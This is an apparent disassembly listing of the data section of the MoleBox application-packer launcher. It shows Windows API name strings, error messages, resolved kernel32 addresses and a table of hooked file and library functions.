					; sub_412300+16Bo
		align 10h
aFlushinstructi	db 'FlushInstructionCache',0 ; DATA XREF: sub_411310:loc_4114E0o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_411310+1ABo
					; sub_411DF0+1Do ...
		align 4
aBarier		db 'BARIER',0           ; DATA XREF: sub_411310+4Co
		align 10h
aWindowsntUnkno	db 'WindowsNT(unknown)',0 ; DATA XREF: _3:loc_4121F5o
					; _3:loc_412201o
		align 4
aWindows_net	db 'Windows.NET',0      ; DATA XREF: _3:004121E9o
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: _3:004121D1o
		align 4
aWindows2000	db 'Windows2000',0      ; DATA XREF: _3:004121B9o
aWindowsnt4_0	db 'WindowsNT(4.0)',0   ; DATA XREF: _3:00412195o
		align 4
aWindowsnt3_51	db 'WindowsNT(3.51)',0  ; DATA XREF: _3:0041217Ao
aWindows9xUnkno	db 'Windows9x(unknown)',0 ; DATA XREF: _3:loc_41215Fo
		align 4
aWindowsme	db 'WindowsMe',0        ; DATA XREF: _3:00412153o
		align 4
aWindows98	db 'Windows98',0        ; DATA XREF: _3:0041213Bo
		align 4
aWindows95	db 'Windows95',0        ; DATA XREF: _3:00412123o
		align 10h
aWin32s		db 'win32s',0           ; DATA XREF: _3:loc_412108o
		align 4
aVirtualalloc	db 'VirtualAlloc',0     ; DATA XREF: _3:loc_411EB9o
					; sub_412300+52Bo
		align 4
aCreatethread	db 'CreateThread',0     ; DATA XREF: sub_412300+86Do
		align 4
aPostmessagea	db 'PostMessageA',0     ; DATA XREF: sub_412300+859o
		align 4
aDefwindowproca	db 'DefWindowProcA',0   ; DATA XREF: sub_412300+845o
		align 4
aEnumwindows	db 'EnumWindows',0      ; DATA XREF: sub_412300+831o
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_412300+81Do
		align 4
aDispatchmessag	db 'DispatchMessageA',0 ; DATA XREF: sub_412300+809o
		align 4
aTranslatemessa	db 'TranslateMessage',0 ; DATA XREF: sub_412300+7F5o
		align 4
aGetmessagea	db 'GetMessageA',0      ; DATA XREF: sub_412300+7E1o
aCreatewindowex	db 'CreateWindowExA',0  ; DATA XREF: sub_412300+7CDo
aGetsystemmetri	db 'GetSystemMetrics',0 ; DATA XREF: sub_412300+7B9o
		align 4
aRegisterclasse	db 'RegisterClassExA',0 ; DATA XREF: sub_412300+7A5o
		align 10h
aSetforegroundw	db 'SetForegroundWindow',0 ; DATA XREF: sub_412300+791o
aSetactivewindo	db 'SetActiveWindow',0  ; DATA XREF: sub_412300+77Do
aGetwindowthrea	db 'GetWindowThreadProcessId',0 ; DATA XREF: sub_412300+769o
		align 10h
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_412300+755o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_412300+741o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_412300+72Do
		align 4
aGetobjecta	db 'GetObjectA',0       ; DATA XREF: sub_412300+719o
		align 4
aEndpaint	db 'EndPaint',0         ; DATA XREF: sub_412300+705o
		align 10h
aBeginpaint	db 'BeginPaint',0       ; DATA XREF: sub_412300+6F1o
		align 4
aRemovefontreso	db 'RemoveFontResourceA',0 ; DATA XREF: sub_412300+6DDo
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_412300+6C9o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_412300+6B5o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_412300+6A1o
		align 4
aAddfontresourc	db 'AddFontResourceA',0 ; DATA XREF: sub_412300:loc_41298Do
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_412300+668o
		align 4
aWvsprintfa	db 'wvsprintfA',0       ; DATA XREF: sub_412300+654o
		align 10h
aWsprintfa	db 'wsprintfA',0        ; DATA XREF: sub_412300+640o
		align 4
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_412300+62Co
aLoadimagea	db 'LoadImageA',0       ; DATA XREF: sub_412300+618o
		align 4
aCharupperbuffa	db 'CharUpperBuffA',0   ; DATA XREF: sub_412300+604o
		align 4
aChangedisplays	db 'ChangeDisplaySettingsA',0 ; DATA XREF: sub_412300:loc_4128F0o
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_412300+5CBo
		align 4
aLstrcmpia	db 'lstrcmpiA',0        ; DATA XREF: sub_412300+5B7o
		align 4
aWritefile	db 'WriteFile',0        ; DATA XREF: sub_412300+5A3o
					; sub_41D579+153o
		align 10h
aWidechartomult	db 'WideCharToMultiByte',0 ; DATA XREF: sub_412300+58Fo
aWaitforsingleo	db 'WaitForSingleObject',0 ; DATA XREF: sub_412300+57Bo
					; sub_41AB84+1D4o
aVirtualquery	db 'VirtualQuery',0     ; DATA XREF: sub_412300+567o
		align 4
aVirtualprotect	db 'VirtualProtect',0   ; DATA XREF: sub_412300+553o
		align 4
aVirtualfree	db 'VirtualFree',0      ; DATA XREF: sub_412300+53Fo
aUnmapviewoffil	db 'UnmapViewOfFile',0  ; DATA XREF: sub_412300+517o
aUnlockfile	db 'UnlockFile',0       ; DATA XREF: sub_412300+503o
		align 10h
aTerminateproce	db 'TerminateProcess',0 ; DATA XREF: sub_412300+4EFo
		align 4
aSleep		db 'Sleep',0            ; DATA XREF: sub_412300+4DBo
					; sub_41AB84+25Eo
		align 4
aSetunhandledex	db 'SetUnhandledExceptionFilter',0 ; DATA XREF: sub_412300+4C7o
aSetlasterror	db 'SetLastError',0     ; DATA XREF: sub_412300+4B3o
		align 4
aSetfilepointer	db 'SetFilePointer',0   ; DATA XREF: sub_412300+49Fo
		align 4
aSetevent	db 'SetEvent',0         ; DATA XREF: sub_412300+48Bo
		align 4
aSetenvironment	db 'SetEnvironmentVariableA',0 ; DATA XREF: sub_412300+477o
aReadfile	db 'ReadFile',0         ; DATA XREF: sub_412300+463o
		align 4
aRaiseexception	db 'RaiseException',0   ; DATA XREF: sub_412300+44Fo
		align 4
aOpenprocess	db 'OpenProcess',0      ; DATA XREF: sub_412300+43Bo
					; sub_41AB84+230o
aMultibytetowid	db 'MultiByteToWideChar',0 ; DATA XREF: sub_412300+427o
aMapviewoffile	db 'MapViewOfFile',0    ; DATA XREF: sub_412300+413o
		align 4
aLockfile	db 'LockFile',0         ; DATA XREF: sub_412300+3FFo
		align 4
aLocalfree	db 'LocalFree',0        ; DATA XREF: sub_412300+3EBo
		align 10h
aLocalalloc	db 'LocalAlloc',0       ; DATA XREF: sub_412300+3D7o
		align 4
aLoadlibraryexa	db 'LoadLibraryExA',0   ; DATA XREF: sub_412300+3C3o
		align 4
aLoadlibrarya	db 'LoadLibraryA',0     ; DATA XREF: sub_412300+3AFo
		align 4
aLeavecriticals	db 'LeaveCriticalSection',0 ; DATA XREF: sub_412300+39Bo
		align 4
aDeletecritical	db 'DeleteCriticalSection',0 ; DATA XREF: sub_412300+387o
		align 4
aInitializecrit	db 'InitializeCriticalSection',0 ; DATA XREF: sub_412300+373o
		align 4
aHeapcreate	db 'HeapCreate',0       ; DATA XREF: sub_412300+35Fo
		align 4
aHeapfree	db 'HeapFree',0         ; DATA XREF: sub_412300+34Bo
		align 10h
aHeapalloc	db 'HeapAlloc',0        ; DATA XREF: sub_412300+337o
		align 4
aGettickcount	db 'GetTickCount',0     ; DATA XREF: sub_412300+323o
		align 4
aGetversionexa	db 'GetVersionExA',0    ; DATA XREF: sub_412300+30Fo
		align 4
aGettemppatha	db 'GetTempPathA',0     ; DATA XREF: sub_412300+2FBo
					; sub_41AB84+92o
		align 4
aGettempfilenam	db 'GetTempFileNameA',0 ; DATA XREF: sub_412300+2E7o
		align 10h
aGetsystemtimea	db 'GetSystemTimeAsFileTime',0 ; DATA XREF: sub_412300+2D3o
aGetprocaddress	db 'GetProcAddress',0   ; DATA XREF: sub_412300+2BFo
		align 4
aGetprivatepr_1	db 'GetPrivateProfileStringA',0 ; DATA XREF: sub_412300+2ABo
		align 4
aGetprivatepr_0	db 'GetPrivateProfileSectionNamesA',0 ; DATA XREF: sub_412300+297o
		align 4
aGetprivateprof	db 'GetPrivateProfileIntA',0 ; DATA XREF: sub_412300+283o
		align 4
aGetmodulehandl	db 'GetModuleHandleA',0 ; DATA XREF: sub_412300+26Fo
		align 10h
aGetmodulefilen	db 'GetModuleFileNameA',0 ; DATA XREF: sub_412300+25Bo
		align 4
aGetlasterror	db 'GetLastError',0     ; DATA XREF: sub_412300+247o
		align 4
aGetfullpathn_0	db 'GetFullPathNameW',0 ; DATA XREF: sub_412300+233o
		align 4
aGetfullpathnam	db 'GetFullPathNameA',0 ; DATA XREF: sub_412300+21Fo
		align 4
aGetfiletime	db 'GetFileTime',0      ; DATA XREF: sub_412300+20Bo
aGetfilesize	db 'GetFileSize',0      ; DATA XREF: sub_412300+1F7o
aGetfileinforma	db 'GetFileInformationByHandle',0 ; DATA XREF: sub_412300+1E3o
		align 10h
aGetfileattri_0	db 'GetFileAttributesW',0 ; DATA XREF: sub_412300+1CFo
		align 4
aGetfileattribu	db 'GetFileAttributesA',0 ; DATA XREF: sub_412300+1BBo
		align 4
aGetexitcodepro	db 'GetExitCodeProcess',0 ; DATA XREF: sub_412300+1A7o
					; sub_41AB84+1A6o
		align 4
aGetenvironment	db 'GetEnvironmentVariableA',0 ; DATA XREF: sub_412300+193o
aGetcurrentpr_0	db 'GetCurrentProcessId',0 ; DATA XREF: sub_412300+17Fo
					; sub_41922D+11o
aFreelibrary	db 'FreeLibrary',0      ; DATA XREF: sub_412300+157o
aFormatmessagea	db 'FormatMessageA',0   ; DATA XREF: sub_412300+143o
		align 4
aFlushfilebuffe	db 'FlushFileBuffers',0 ; DATA XREF: sub_412300+12Fo
		align 4
aFindnextfilea	db 'FindNextFileA',0    ; DATA XREF: sub_412300+11Bo
		align 4
aFindfirstfilea	db 'FindFirstFileA',0   ; DATA XREF: sub_412300+107o
					; sub_41AB84+11Co
		align 4
aFindclose	db 'FindClose',0        ; DATA XREF: sub_412300+F3o
					; sub_41AB84+178o
		align 4
aExitprocess	db 'ExitProcess',0      ; DATA XREF: sub_412300+DFo
					; sub_41AB84+202o
aEntercriticals	db 'EnterCriticalSection',0 ; DATA XREF: sub_412300+CBo
		align 4
aDeletefilea	db 'DeleteFileA',0      ; DATA XREF: sub_412300+B7o
					; sub_41AB84+14Ao
aDebugbreak	db 'DebugBreak',0       ; DATA XREF: sub_412300+A3o
		align 10h
aCreateprocessa	db 'CreateProcessA',0   ; DATA XREF: sub_412300+8Fo
		align 10h
aCreatefilema_0	db 'CreateFileMappingW',0 ; DATA XREF: sub_412300+7Bo
		align 4
aCreatefilemapp	db 'CreateFileMappingA',0 ; DATA XREF: sub_412300+67o
		align 4
aCreatefilew	db 'CreateFileW',0      ; DATA XREF: sub_412300+53o
aCreatefilea	db 'CreateFileA',0      ; DATA XREF: sub_412300+3Fo
aClosehandle	db 'CloseHandle',0      ; DATA XREF: sub_412300:loc_41232Bo
					; sub_41AB84+28Co
aApiNopefunc	db ':API:NopeFunc',0    ; DATA XREF: sub_420D80+3o
		align 4
aMbx		db 'mbx',0              ; DATA XREF: sub_41396C+19Eo
aBoxReadcompres	db ':BOX:ReadCompressedSection: decompresion failed with code %d',0
					; DATA XREF: sub_414C5A+340o
		align 10h
dword_423B60	dd 0F3h			; DATA XREF: sub_416C60+5Aw
		align 8
dword_423B68	dd 2 dup(0)		; DATA XREF: sub_414C5A+B6o
					; sub_414C5A+DBo ...
dword_423B70	dd 0			; DATA XREF: sub_414C5A+73r
					; sub_414C5A+F9w ...
dword_423B74	dd 0			; DATA XREF: sub_414C5A+63r
					; sub_414C5A+106w ...
off_423B78	dd offset dword_42487C	; DATA XREF: sub_414C5A+84r
					; sub_414C5A+125r
		dd 5 dup(0)
		dd offset dword_424880
		dd 5 dup(0)
		dd offset dword_424884
		align 10h
dword_423BB0	dd 584F424Dh		; DATA XREF: _3:loc_4175AFr
					; _3:004175D3o
		align 8
dword_423BB8	dd 2Ah			; DATA XREF: sub_41006B+5Ao
dword_423BBC	dd 2A2E2Ah		; DATA XREF: sub_41006B+26o
dword_423BC0	dd 71AA4000h		; DATA XREF: sub_4184A0:loc_4185A7r
					; sub_4184A0+112w ...
aExecutable	db 'EXECUTABLE',0       ; DATA XREF: sub_4184A0+125o
					; sub_418780+130o
		align 10h
aTheDynamicLink	db 'The dynamic link library ',27h,'%s',27h,' could not be found',0
					; DATA XREF: sub_4184A0+FDo
		align 4
aOleaout32_dll	db 'oleaout32.dll',0    ; DATA XREF: sub_418780+1A5o
		align 4
aOleoaut32_dll	db 'oleoaut32.dll',0    ; DATA XREF: sub_418780:loc_418911o
		align 4
aImm32_dll	db 'imm32.dll',0        ; DATA XREF: sub_418780:loc_4188EFo
					; sub_418780+183o
		align 10h
aTheUncompressi	db 'The uncompression error',0
; ---------------------------------------------------------------------------


loc_423C48:				; DATA XREF: sub_419995+A9Ao
		pop	eax
		push	0FF00FF00h
		push	0FF00FF00h
		push	0FF00FF00h
		push	eax
		push	0FF00FF00h
		retn
; ---------------------------------------------------------------------------
		align 10h
dword_423C60	dd 6C6C642Eh, 0		; DATA XREF: sub_4191AB+19o
					; sub_4191AB+32o
aCProjectsPTegg	db 'C:\Projects\P\Teggo\MoleBox\molebox2\bootup\mbx_DLL.cpp',0
					; DATA XREF: sub_419995+C67o
a_box_		db '_BOX_',0            ; DATA XREF: sub_419995+A0Eo
		align 4
aGetcurrentdire	db 'GetCurrentDirectoryA',0 ; DATA XREF: sub_41AB84+EEo
		align 10h
aSetcurrentdire	db 'SetCurrentDirectoryA',0 ; DATA XREF: sub_41AB84+C0o
		align 4
aMbx@X@_	db 'MBX@%X@*.###',0     ; DATA XREF: sub_41AB84+53o
					; sub_41BF82+E8o
		align 4
aStripped	db '<stripped>',0       ; DATA XREF: _4:off_4214F4o
		align 4
aAssertionFai_0	db 'ASSERTION failed',0 ; DATA XREF: _4:off_4214F0o
		align 4
aMoleboxLaunche	db 'MoleBox launcher fatal error',0 ; DATA XREF: _4:off_4214ECo
		align 4
asc_423D28:				; DATA XREF: sub_41BB7C+57o
					; sub_41BBE7+2Do
		dw 0Ah
		unicode	0, <>,0
aErrorAtSDReaso	db 'Error at %s:%d',0Ah ; DATA XREF: sub_41BB7C+1Eo
		db 0Ah
		db 'Reason: ',0
		align 4
aUp1_txt	db '-up1.txt',0         ; DATA XREF: sub_41BC28:loc_41BD38o
		align 4
aUp_txt		db '-up.txt',0          ; DATA XREF: sub_41BC28+BCo
asc_423D5C	db 0Dh,0Ah,0		; DATA XREF: sub_41BE16+59o
		align 10h
aWindowsErrorSA	db 'windows error %s',0Ah ; DATA XREF: sub_41BEBA+75o
		db '  at %s(%d)',0Ah,0
		align 10h
aMbx@X@X_	db 'MBX@%X@%X.###',0    ; DATA XREF: sub_41BF82+C2o
		align 10h
aMbx@X@X@X_	db 'MBX@%X@%X@%X.###',0 ; DATA XREF: sub_41BF82+93o
		align 4
a_		db '.###',0             ; DATA XREF: sub_41C106+175o
		align 4
aMbx@		db 'MBX@',0             ; DATA XREF: sub_41C106+78o
		align 4
aInvalidDllRelo	db 'INVALID DLL RELOCATION',0 ; DATA XREF: sub_41C317:loc_41C550o
		align 4
aBadFuulname	db 'BAD FUULNAME',0     ; DATA XREF: sub_41C317:loc_41C547o
		align 4
aGetmodulenameE	db 'GetModuleName ERROR',0 ; DATA XREF: sub_41C317:loc_41C53Eo
aHookingDllErro	db 'HOOKING DLL ERROR',0 ; DATA XREF: sub_41C317:loc_41C535o
		align 4
aPackedDllOrBox	db 'PACKED DLL OR BOXFILE CORRUPTED',0 ; DATA XREF: sub_41C317:loc_41C52Co
aInvalidCompres	db 'INVALID COMPRESSION/ENCRYPTION ALGORITHM',0
					; DATA XREF: sub_41C317:loc_41C523o
		align 10h
aDllCorrupted	db 'DLL CORRUPTED',0    ; DATA XREF: sub_41C317:loc_41C51Ao
		align 10h
aHeapCorrupted	db 'HEAP CORRUPTED',0   ; DATA XREF: sub_41C317:loc_41C511o
		align 10h
aCouldNotCreate	db 'COULD NOT CREATE HEAP',0 ; DATA XREF: sub_41C317:loc_41C508o
		align 4
aVirtualprote_0	db 'VIRTUALPROTECT BROKEN',0 ; DATA XREF: sub_41C317:loc_41C4FFo
		align 10h
aWrappersTableB	db 'WRAPPERS TABLE BROKEN',0 ; DATA XREF: sub_41C317:loc_41C4F6o
		align 4
aOutOfMemory	db 'OUT OF MEMORY',0    ; DATA XREF: sub_41C317:loc_41C4EDo
		align 4
aFeatureIsNotIm	db 'FEATURE IS NOT IMPLEMENTED',0 ; DATA XREF: sub_41C317:loc_41C4E4o
		align 4
aBoxfileCorrupt	db 'BOXFILE CORRUPTED',0 ; DATA XREF: sub_41C317:loc_41C4DBo
		align 4
aReadBoxfileErr	db 'READ BOXFILE ERROR',0 ; DATA XREF: sub_41C317:loc_41C4D2o
		align 4
aCouldNotOpenBo	db 'COULD NOT OPEN BOXFILE',0 ; DATA XREF: sub_41C317:loc_41C4C6o
		align 4
aPathIsVeryLong	db 'PATH IS VERY LONG',0 ; DATA XREF: sub_41C317:loc_41C4BAo
		align 4
aExecutableCorr	db 'EXECUTABLE CORRUPTED',0 ; DATA XREF: sub_41C317:loc_41C4AEo
		align 10h
aDynamicLibrary	db 'DYNAMIC LIBRARY IS NOT NT IMAGE',0 ; DATA XREF: sub_41C317:loc_41C4A2o
aExecutableIsNo	db 'EXECUTABLE IS NOT NT IMAGE',0 ; DATA XREF: sub_41C317:loc_41C496o
		align 4
aHasNoAccessToE	db 'HAS NO ACCESS TO EXECUTABLE',0 ; DATA XREF: sub_41C317:loc_41C48Ao
aAssertionFaile	db 'ASSERTION FAILED',0 ; DATA XREF: sub_41C317:loc_41C47Eo
		align 4
aEsi0x08xEdi0x0	db 'ESI:0x%08X EDI:0x%08X',0 ; DATA XREF: sub_41C317+101o
		align 4
aEsp0x08xEbp0x0	db 'ESP:0x%08X EBP:0x%08X EIP:0x%08X',0 ; DATA XREF: sub_41C317+DCo
		align 4
aEax0x08xEdx0x0	db 'EAX:0x%08X EDX:0x%08X ECX:0x%08X',0 ; DATA XREF: sub_41C317+ABo
		align 4
aEs0x08xFs0x08x	db 'ES :0x%08X FS :0x%08X GS :0x%08X',0 ; DATA XREF: sub_41C317+7Ao
		align 10h
aCs0x08xSs0x08x	db 'CS :0x%08X SS :0x%08X DS :0x%08X',0 ; DATA XREF: sub_41C317+49o
		align 4
a__seh__0xXAt0x	db '__SEH__ 0x%x at 0x%x',0 ; DATA XREF: sub_41C317+18o
		align 4
aCc7574e45e3947	db '{CC7574E4-5E39-4700-B286-269A82DD8E95}',0 ; DATA XREF: sub_410253+40o
					; sub_410253+A8o
		align 4
a_splashscreen_	db '_splashscreen.bmp',0 ; DATA XREF: sub_410386+12o
		align 4
aBroken0x08x	db '!broken!0x%08x:',0  ; DATA XREF: sub_41C5E3+FBo
a0x08xS03x08x	db '0x%08x:[%s]:(%03x:%08x)',0 ; DATA XREF: sub_41C5E3+CAo
aUnknown	db 'unknown',0          ; DATA XREF: sub_41C5E3+B7o
a0x08xUnknownUn	db '0x%08x:[unknown]:unknown',0 ; DATA XREF: sub_41C5E3+60o
		align 4
aBroken		db '!broken!',0         ; DATA XREF: sub_41C5E3+31o
		align 10h
a0x08x0x08x0x08	db '0x%08x: 0x%08x 0x%08x 0x%08x 0x%08x',0 ; DATA XREF: sub_41C87E+F9o
aStack		db '--stack--',0        ; DATA XREF: sub_41C87E:loc_41C932o
		align 10h
a___OpssBrokenB	db '   ... opss, broken by SEH',0 ; DATA XREF: sub_41C87E+A5o
					; sub_41C87E+11Eo
		align 4
aS		db '   %s',0            ; DATA XREF: sub_41C87E+47o
					; sub_41C87E+8Ao
		align 4
aBacktrace	db '-- backtrace --',0  ; DATA XREF: sub_41C87E+28o
		align 8
		dd 2 dup(0FFFFFFFFh)
aDllgetclassobj	db 'DllGetClassObject',0 ; DATA XREF: sub_41CA0F+51o
					; sub_41E33E+3Eo
		align 8
dword_424198	dd 2 dup(0)		; DATA XREF: sub_41CAA3+43o
		dd 0C0h, 46000000h
dword_4241A8	dd 1, 0			; DATA XREF: sub_41CAA3+11o
		dd 0C0h, 46000000h
aRegqueryvaluea	db 'RegQueryValueA',0   ; DATA XREF: sub_41CD16+42o
		align 4
aAdvapi32_dll	db 'ADVAPI32.DLL',0     ; DATA XREF: sub_41CD16+3Do
		align 4
aClsid08x04x04x	db 'CLSID\{%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}\InprocSe'
					; DATA XREF: sub_41CDFA+58o
		db 'rver32',0
off_424220	dd offset sub_41D332	; DATA XREF: sub_41D40A+102o
		dd offset aSetunhandled_0 ; "SetUnhandledExceptionFilter"
		dd offset sub_41E58B
		dd offset aCreatefilea_0 ; "CreateFileA"
		dd offset sub_41E5D9
		dd offset aCreatefilew_0 ; "CreateFileW"
		dd offset sub_41DDE5
		dd offset aGetfileattri_1 ; "GetFileAttributesA"
		dd offset sub_41DE13
		dd offset aGetfileattri_2 ; "GetFileAttributesW"
		dd offset sub_41E6D7
		dd offset aReadfile_0	; "ReadFile"
		dd offset sub_41E6B0
		dd offset aClosehandle_0 ; "CloseHandle"
		dd offset sub_41E73B
		dd offset aSetfilepoint_0 ; "SetFilePointer"
		dd offset sub_41DEE0
		dd offset aGetfilesize_0 ; "GetFileSize"
		dd offset sub_41D6FE
		dd offset aExitprocess_0 ; "ExitProcess"
		dd offset sub_41E77F
		dd offset aCreatefilema_1 ; "CreateFileMappingA"
		dd offset sub_41E7BB
		dd offset aCreatefilema_2 ; "CreateFileMappingW"
		dd offset sub_41E7F7
		dd offset aMapviewoffil_0 ; "MapViewOfFile"
		dd offset sub_41E836
		dd offset aUnmapviewoff_0 ; "UnmapViewOfFile"
		dd offset sub_41E45A
		dd offset aFreelibrary_0 ; "FreeLibrary"
		dd offset sub_41E15D
		dd offset aLoadlibrarya_0 ; "LoadLibraryA"
		dd offset sub_41E22D
		dd offset aLoadlibraryw	; "LoadLibraryW"
		dd offset sub_41E170
		dd offset aLoadlibrarye_0 ; "LoadLibraryExA"
		dd offset sub_41E240
		dd offset aLoadlibraryexw ; "LoadLibraryExW"
		dd offset sub_41E33E
		dd offset aGetprocaddre_0 ; "GetProcAddress"
		dd offset sub_41D96A
		dd offset aFindfirstfil_0 ; "FindFirstFileA"
		dd offset sub_41D997
		dd offset aFindfirstfilew ; "FindFirstFileW"
		dd offset sub_41DAE0
		dd offset aFindfirstfilee ; "FindFirstFileExW"
		dd offset sub_41DC35
		dd offset aFindclose_0	; "FindClose"
		dd offset sub_41DC5C
		dd offset aFindnextfile_0 ; "FindNextFileA"
		dd offset sub_41DC8D
		dd offset aFindnextfilew ; "FindNextFileW"
		dd offset sub_41E85D
		dd offset aOpenfile	; "OpenFile"
		dd offset sub_41E911
		dd offset a_lopen	; "_lopen"
		dd offset sub_41E952
		dd offset a_lclose	; "_lclose"
		dd offset sub_41E9EC
		dd offset a_lread	; "_lread"
		dd offset sub_41E9A7
		dd offset a_llseek	; "_llseek"
		dd offset sub_41E254
		dd offset aGetmodulehan_0 ; "GetModuleHandleA"
		dd offset sub_41E28E
		dd offset aGetmodulehan_1 ; "GetModuleHandleW"
		dd offset sub_41D85C
		dd offset aSearchpathw	; "SearchPathW"
		dd offset sub_41D7FD
		dd offset aSearchpatha	; "SearchPathA"
		dd offset sub_41DF52
		dd offset aGetprivatepr_2 ; "GetPrivateProfileStringA"
		dd offset sub_41DFF8
		dd offset aGetprivatepr_3 ; "GetPrivateProfileIntA"
		dd offset sub_41E07F
		dd offset aGetprivatepr_4 ; "GetPrivateProfileSectionNamesA"
; ---------------------------------------------------------------------------
		retf	41E0h
; ---------------------------------------------------------------------------
		align 4
		dd offset aGetprivatepr_5 ; "GetPrivateProfileSectionA"
		dd offset sub_41DD46
		dd offset aGetfileinfor_0 ; "GetFileInformationByHandle"
		dd offset sub_41DD77
		dd offset aLockfile_0	; "LockFile"
		dd offset sub_41DDB3
		dd offset aUnlockfile_0	; "UnlockFile"
		dd offset sub_41DF18
		dd offset aGetmodulefil_0 ; "GetModuleFileNameA"
off_424378	dd offset sub_41E519	; DATA XREF: sub_41D40A+116o
		dd offset aAddfontresou_0 ; "AddFontResourceA"
		dd offset sub_41E552
		dd offset aRemovefontre_0 ; "RemoveFontResourceA"
off_424388	dd offset sub_41E4C5	; DATA XREF: sub_41D40A+12Ao
		dd offset aLoadimagea_0	; "LoadImageA"
off_424390	dd offset sub_41CBF6	; DATA XREF: sub_41D40A+13Eo
		dd offset aCocreateinstan ; "CoCreateInstance"
		dd offset sub_41CE67
		dd offset aCocreateinst_0 ; "CoCreateInstanceEx"
		dd offset sub_41CF9E
		dd offset aCogetclassobje ; "CoGetClassObject"
off_4243A8	dd offset sub_41D112	; DATA XREF: sub_41D40A+152o
		dd offset aGetrecordinf_0 ; "GetRecordInfoFromGuids"
		dd offset sub_41D21A
		dd offset aLoadregtypelib ; "LoadRegTypeLib"
dword_4243B8	dd 19930520h, 414827h, 0B0h, 12DA44h, 2	dup(0) ; DATA XREF: _3:004104B7o
					; sub_4104BE+2o
off_4243D0	dd offset word_4243DA	; DATA XREF: sub_41072E:loc_41077Dr
					; sub_41072E:loc_41078Fr ...
		dd offset word_4243DA
		db 2 dup(0)
word_4243DA	dw 20h			; DATA XREF: _5:off_4243D0o
					; _5:004243D4o
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_4245DC	dd 1			; DATA XREF: sub_41072E+3Cr
					; sub_41097A:loc_410982r ...
		dd 2Eh,	1, 2 dup(0)
dword_4245F0	dd 77E64C09h		; DATA XREF: sub_411310+1DFw
					; sub_411310+1F6r ...
dword_4245F4	dd 860000h		; DATA XREF: _3:00411EF3w _3:00411F2Fr
dword_4245F8	dd 880000h		; DATA XREF: _3:00411F2Aw _3:00411F3Br
dword_4245FC	dd 870000h		; DATA XREF: _3:00411F14w
dword_424600	dd 2			; DATA XREF: _3:004120DCr
					; sub_418B90+BAr ...
dword_424604	dd 851F00h		; DATA XREF: _3:00412226r
					; _3:loc_4122AFr ...
dword_424608	dd 411B5Eh		; DATA XREF: sub_411E70+3r
					; _3:00411E8Fw
dword_42460C	dd 0FFFFFFFFh		; DATA XREF: sub_411310+213w
					; sub_411310+387r ...
		dd 0
byte_424614	db 0			; DATA XREF: _3:004122C1w
					; sub_4191AB+Er
		align 4
dword_424618	dd 6			; DATA XREF: sub_411310+3F9w
					; sub_418780:loc_4187CDr
off_42461C	dd offset aKbyr		; DATA XREF: sub_411310+402w
					; _3:loc_412CB7r ...
					; "KByR"
dword_424620	dd 0			; DATA XREF: sub_412300+8B3o
dword_424624	dd 77E77963h		; DATA XREF: sub_412300+3Aw
					; sub_412300+881o ...
dword_424628	dd 77E7A837h		; DATA XREF: sub_412300+4Ew
					; _3:00412C2Cr	...
dword_42462C	dd 77E779B1h		; DATA XREF: sub_412300+62w
					; sub_41E5D9+9Fr
dword_424630	dd 77E77797h		; DATA XREF: sub_412300+76w
					; _3:00412C60r	...
dword_424634	dd 77E776D3h		; DATA XREF: sub_412300+8Aw
					; sub_41E7BB+2Cr
dword_424638	dd 77E61BB8h		; DATA XREF: sub_412300+9Ew
					; sub_41A8B3+E6r
dword_42463C	dd 77EB36A5h		; DATA XREF: sub_412300+B2w
dword_424640	dd 77E73628h		; DATA XREF: sub_412300+C6w
					; sub_41396C+2EAr ...
dword_424644	dd 77F7E21Fh		; DATA XREF: sub_412300+DAw
					; sub_413272+2Ar ...
dword_424648	dd 77E75CB5h		; DATA XREF: sub_412300+EEw
					; sub_41D6FE+AFr
dword_42464C	dd 77E78EAAh		; DATA XREF: sub_412300+102w
					; sub_416C60+4FEr ...
dword_424650	dd 77E75D9Eh		; DATA XREF: sub_412300+116w
					; sub_4136FE+B4r ...
dword_424654	dd 77E75E67h		; DATA XREF: sub_412300+12Aw
					; sub_4136FE+DCr ...
dword_424658	dd 77E73FF9h		; DATA XREF: sub_412300+13Ew
					; sub_419995+C31r
dword_42465C	dd 77E76A60h		; DATA XREF: sub_412300+152w
					; sub_41BEBA+60r
dword_424660	dd 77E80618h		; DATA XREF: sub_412300+166w
					; sub_41925C+128r ...
dword_424664	dd 77E79C90h		; DATA XREF: sub_412300+17Aw
					; sub_41A8B3+4Br ...
dword_424668	dd 77E80656h		; DATA XREF: sub_410216+15r
					; sub_412300+18Ew ...
dword_42466C	dd 77E7AC5Eh		; DATA XREF: sub_412300+1A2w
dword_424670	dd 77E7FF65h		; DATA XREF: sub_412300+1B6w
dword_424674	dd 77E74CABh		; DATA XREF: sub_412300+1CAw
					; sub_41DDE5+16r
dword_424678	dd 77E78536h		; DATA XREF: sub_412300+1DEw
					; sub_41DE13+84r
dword_42467C	dd 77E72EA0h		; DATA XREF: sub_412300+1F2w
					; sub_414856+83r ...
dword_424680	dd 77E793EFh		; DATA XREF: sub_412300+206w
					; _3:00412C41r	...
dword_424684	dd 77E73CE2h		; DATA XREF: sub_412300+21Aw
					; _3:0041792Fr
dword_424688	dd 77E80357h		; DATA XREF: sub_412300+22Ew
					; sub_413272+71r ...
dword_42468C	dd 77E781DBh		; DATA XREF: sub_412300+242w
					; sub_41D85C+92r
dword_424690	dd 77F5157Dh		; DATA XREF: sub_412300+256w
					; sub_41925C+113r ...
dword_424694	dd 77E7A099h		; DATA XREF: sub_412300+26Aw
					; _3:00412EB9r	...
